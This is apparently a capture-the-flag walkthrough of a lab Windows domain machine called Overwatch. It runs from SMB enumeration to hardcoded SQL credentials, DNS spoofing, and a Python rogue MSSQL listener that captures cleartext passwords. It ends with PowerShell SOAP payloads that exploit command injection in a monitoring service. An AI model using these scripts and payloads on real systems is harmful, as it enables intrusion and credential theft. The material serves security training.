Overwatch
Overwatch
1. Initial Recon
1
2
3
4
5
6
7
8
9
10
11
12
13
nmap -sC -sV -Pn -T4 10.129.2.75
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: overwatch.htb)
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server
5985/tcp open http Microsoft HTTPAPI httpd 2.0
...
DNS_Computer_Name: S200401.overwatch.htb
Full port sweep
1
2
3
4
nmap -p- -Pn -T4 10.129.2.75
nmap -sC -sV -Pn -p 6520,9389,49664,49668,52495,52510,55655,58993,58994 10.129.2.75
6520/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00
2. SMB Enumeration
1
2
3
4
5
6
7
8
9
10
11
smbclient -N -L //10.129.2.75
smbclient -N //10.129.2.75/software$ -c 'recurse on;prompt off;ls'
Sharename Type
--------- ----
software$ Disk
...
\Monitoring
overwatch.exe
overwatch.exe.config
overwatch.pdb
3. Loot Binary + Extract Hardcoded SQL Credentials
1
2
3
4
5
6
mkdir -p ~/Downloads/htb_overwatch
cd ~/Downloads/htb_overwatch
smbclient -N //10.129.2.75/software$ -c 'cd Monitoring;get overwatch.exe.config;get overwatch.exe;get overwatch.pdb'
strings -el overwatch.exe | head -n 300
Server=localhost;Database=SecurityLogs;User Id=sqlsvc;Password=TI0LKcfHzZw1Vv;
Recovered credential:
overwatch.htb\sqlsvc : TI0LKcfHzZw1Vv
4. Validate sqlsvc and Enumerate Access
1
2
3
4
5
6
7
8
9
nxc smb 10.129.2.75 -u 'sqlsvc' -p 'TI0LKcfHzZw1Vv'
nxc ldap 10.129.2.75 -u 'sqlsvc' -p 'TI0LKcfHzZw1Vv'
nxc rdp 10.129.2.75 -u 'sqlsvc' -p 'TI0LKcfHzZw1Vv'
nxc winrm 10.129.2.75 -u 'sqlsvc' -p 'TI0LKcfHzZw1Vv'
SMB [+] overwatch.htb\sqlsvc:TI0LKcfHzZw1Vv
LDAP [+] overwatch.htb\sqlsvc:TI0LKcfHzZw1Vv
RDP [+] overwatch.htb\sqlsvc:TI0LKcfHzZw1Vv
WINRM [-] ...
sqlsvc is valid domain creds but no WinRM shell.
5. SQL Access as sqlsvc + Linked Server Discovery
1
impacket-mssqlclient overwatch.htb/sqlsvc:'TI0LKcfHzZw1Vv'@10.129.2.75 -windows-auth -port 6520
Inside SQL shell:
1
2
3
4
5
6
7
8
9
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');
EXEC sp_linkedservers;
SYSTEM_USER = OVERWATCH\sqlsvc
IS_SRVROLEMEMBER('sysadmin') = 0
Linked Server:
- S200401\SQLEXPRESS
- SQL07
SQL07 becomes the pivot point.
6. Confirm AD DNS Write Primitive
1
2
3
4
~/.local/bin/bloodyAD -d overwatch.htb -u sqlsvc -p 'TI0LKcfHzZw1Vv' -H 10.129.2.75 get writable
distinguishedName: DC=overwatch.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=overwatch,DC=htb
permission: CREATE_CHILD
Add malicious DNS record for linked server host:
1
2
3
~/.local/bin/bloodyAD -d overwatch.htb -u sqlsvc -p 'TI0LKcfHzZw1Vv' -H 10.129.2.75 add dnsRecord SQL07 10.10.14.87
[+] SQL07 has been successfully added
7. Capture Linked SQL Credentials
Because Responder required root in this environment, a minimal standalone MSSQL listener was used to emulate prelogin and parse cleartext login.
PoC Script: responder_like_mssql.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/env python3
import socket,struct
PRELOGIN = bytes.fromhex('0401002500000100000015000601001b000102001c000103001d0000ff09000fc300000200')
def parse_cleartext(data):
cno=struct.unpack('<h',data[44:46])[0]; cnl=struct.unpack('<h',data[46:48])[0]
uno=struct.unpack('<h',data[48:50])[0]; unl=struct.unpack('<h',data[50:52])[0]
pwo=struct.unpack('<h',data[52:54])[0]; pwl=struct.unpack('<h',data[54:56])[0]
sno=struct.unpack('<h',data[60:62])[0]; snl=struct.unpack('<h',data[62:64])[0]
dbo=struct.unpack('<h',data[76:78])[0]; dbl=struct.unpack('<h',data[78:80])[0]
b=data
user=b[8+uno:8+uno+unl*2].replace(b'\x00',b'').decode('latin-1',errors='ignore')
pwd_obf=b[8+pwo:8+pwo+pwl*2].replace(b'\x00',b'')
pw=''
for x in pwd_obf:
y=(x ^ 0xa5)
hx=hex(y)[::-1][:2].replace('x','0')
try: pw += bytes.fromhex(hx).decode('latin-1')
except: pass
server=b[8+sno:8+sno+snl*2].replace(b'\x00',b'').decode('latin-1',errors='ignore')
db=b[8+dbo:8+dbo+dbl*2].replace(b'\x00',b'').decode('latin-1',errors='ignore')
return user,pw,server,db
s=socket.socket();s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1);s.bind(('0.0.0.0',1433));s.listen(5)
print('[*] listening 1433',flush=True)
while True:
c,a=s.accept();print('[*] conn',a,flush=True)
try:
d=c.recv(4096)
if not d: c.close(); continue
print('[*] first byte',d[:1].hex(),'len',len(d),flush=True)
c.sendall(PRELOGIN)
d2=c.recv(4096)
if not d2:
print('[-] no second',flush=True); c.close(); continue
print('[*] second byte',d2[:1].hex(),'len',len(d2),flush=True)
if d2[:1]==b'\x10' and b'NTLMSSP' not in d2:
u,p,srv,db=parse_cleartext(d2)
print(f'[+] cleartext user={u} pass={p} server={srv} db={db}',flush=True)
else:
print('[*] second not cleartext login',flush=True)
except Exception as e:
print('err',e,flush=True)
c.close()
Run listener
1
python3 responder_like_mssql.py
Trigger linked server auth from SQL shell
1
2
3
4
5
6
SELECT * FROM OPENQUERY(SQL07,'SELECT SYSTEM_USER');
[*] conn ('10.129.2.75', 54193)
[*] first byte 12 len 88
[*] second byte 10 len 240
[+] cleartext user=sqlmgmt pass=bIhBbzMMnB82yx server=SQL07 db=
Recovered credential:
overwatch.htb\sqlmgmt : bIhBbzMMnB82yx
8. WinRM Shell Capability with sqlmgmt
1
2
3
4
5
nxc smb 10.129.2.75 -u 'sqlmgmt' -p 'bIhBbzMMnB82yx'
nxc winrm 10.129.2.75 -u 'sqlmgmt' -p 'bIhBbzMMnB82yx'
SMB [+] overwatch.htb\sqlmgmt:bIhBbzMMnB82yx
WINRM [+] overwatch.htb\sqlmgmt:bIhBbzMMnB82yx (Pwn3d!)
9. Retrieve user.txt
1
nxc winrm 10.129.2.75 -u 'sqlmgmt' -p 'bIhBbzMMnB82yx' -x "type C:\\Users\\sqlmgmt\\Desktop\\user.txt"
10. Privilege Escalation to Retrieve root.txt
10.1 Enumerate local vulnerable monitoring service API
From WinRM (evil-winrm):
1
2
iwr -UseBasicParsing http://localhost:8000/MonitorService?wsdl | select -ExpandProperty Content
iwr -UseBasicParsing http://localhost:8000/MonitorService?xsd=xsd0 | select -ExpandProperty Content
Evidence
WSDL exposed methods:
StartMonitoringStopMonitoringKillProcess
XSD showed:
1
2
3
4
5
6
7
<xs:element name="KillProcess">
<xs:complexType>
<xs:sequence>
<xs:element minOccurs="0" name="processName" nillable="true" type="xs:string"/>
</xs:sequence>
</xs:complexType>
</xs:element>
overwatch.exe logic previously indicated PowerShell command construction:
Stop-Process -Name <processName> -Force
This is command injection via processName.
10.2 PoC Execution Context Test
Script: killprocess_inject.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$payload='abc;whoami | Out-File C:\Windows\Temp\poc.txt;#'
$xml = "<s:Envelope xmlns:s='http://schemas.xmlsoap.org/soap/envelope/'><s:Body><KillProcess xmlns='http://tempuri.org/'><processName>$payload</processName></KillProcess></s:Body></s:Envelope>"
$h=@{SOAPAction='"http://tempuri.org/IMonitoringService/KillProcess"'}
try {
$r = Invoke-WebRequest -UseBasicParsing -Uri 'http://localhost:8000/MonitorService' -Method POST -Headers $h -ContentType 'text/xml; charset=utf-8' -Body $xml
"STATUS=$($r.StatusCode)"
$r.Content
} catch {
"ERR=$($_.Exception.Message)"
}
if (Test-Path C:\Windows\Temp\poc.txt) {
'POC_CONTENT:'
Get-Content C:\Windows\Temp\poc.txt
} else {
'POC_MISSING'
}
Upload and run
1
2
3
evil-winrm -i 10.129.2.75 -u sqlmgmt -p 'bIhBbzMMnB82yx'
upload killprocess_inject.ps1
powershell -ep bypass -File C:\Users\sqlmgmt\Documents\killprocess_inject.ps1
Evidence
1
2
3
STATUS=200
...
Test-Path : Access is denied
The access-denied side effect against C:\Windows\Temp\poc.txt from low-priv sqlmgmt while SOAP returns success indicates privileged execution context.
10.3 Read root.txt via Injection
Script: killprocess_root.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$payload='abc;Get-Content C:\Users\Administrator\Desktop\root.txt | Out-File C:\Users\sqlmgmt\Documents\root.txt;#'
$xml = "<s:Envelope xmlns:s='http://schemas.xmlsoap.org/soap/envelope/'><s:Body><KillProcess xmlns='http://tempuri.org/'><processName>$payload</processName></KillProcess></s:Body></s:Envelope>"
$h=@{SOAPAction='"http://tempuri.org/IMonitoringService/KillProcess"'}
try {
$r = Invoke-WebRequest -UseBasicParsing -Uri 'http://localhost:8000/MonitorService' -Method POST -Headers $h -ContentType 'text/xml; charset=utf-8' -Body $xml
"STATUS=$($r.StatusCode)"
} catch {
"ERR=$($_.Exception.Message)"
}
if (Test-Path C:\Users\sqlmgmt\Documents\root.txt) {
'ROOT_CONTENT:'
Get-Content C:\Users\sqlmgmt\Documents\root.txt
} else {
'ROOT_MISSING'
}
Upload and execute
1
2
3
evil-winrm -i 10.129.2.75 -u sqlmgmt -p 'bIhBbzMMnB82yx'
upload killprocess_root.ps1
powershell -ep bypass -File C:\Users\sqlmgmt\Documents\killprocess_root.ps1
